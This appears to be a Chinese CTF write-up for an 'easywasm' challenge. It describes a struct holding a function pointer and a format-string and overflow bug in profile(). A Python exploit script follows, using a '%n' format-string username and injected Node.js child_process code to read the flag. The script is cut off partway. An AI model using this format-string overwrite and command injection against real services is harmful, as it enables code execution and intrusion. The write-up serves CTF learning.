easywasm

点击此处获得更好的阅读体验


解题思路

题目分析

程序存在一个结构体用于保存信息记录

1
2
3
4
5
6
7
C struct {
char *username;
int password;
char *introduction;
void (*state)(const char *);
}
record;

先说三个函数逻辑registered()用于初始化record结构体,profile()用于打印usernameintroductionlogin()用于验证username和password并通过state函数指针返回登录成功或失败的状态信息因为程序存在Z_envZ__emen_run_Z_vi只需要改变state即可,但是如果成功调用,还需要泄露出password其中profile()存在一个溢出漏洞和一个格式化字符串漏洞,通过溢出,我们可以控制任意写的地址,然后再leak出password即可,许多payload的细节可以调试知道

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
url = 'http://47.104.89.129:23333/'
registered = url + 'registered'
profile = url + 'profile'
login = url + 'login'
username = 'username'
password = 'password'
introduction = 'introduction'
payload = ''
payload += 'A'*7
payload += ''' const exec=require("child_process").exec; exec("cat flag", function(error,stdout,stderr){process.stdout.write(stdout);}); '''.ljust(0x7f, ' ')
payload += '//\x3C\x0D\x00'
params = {
username: '%2$0141d%1$n',
introduction: payload
}
requests.get(registered, params=params)
req = requests.get(profile)
passwd = req.text.lstrip('Welcome, ').rstrip('Your introduction: AAAAAAA')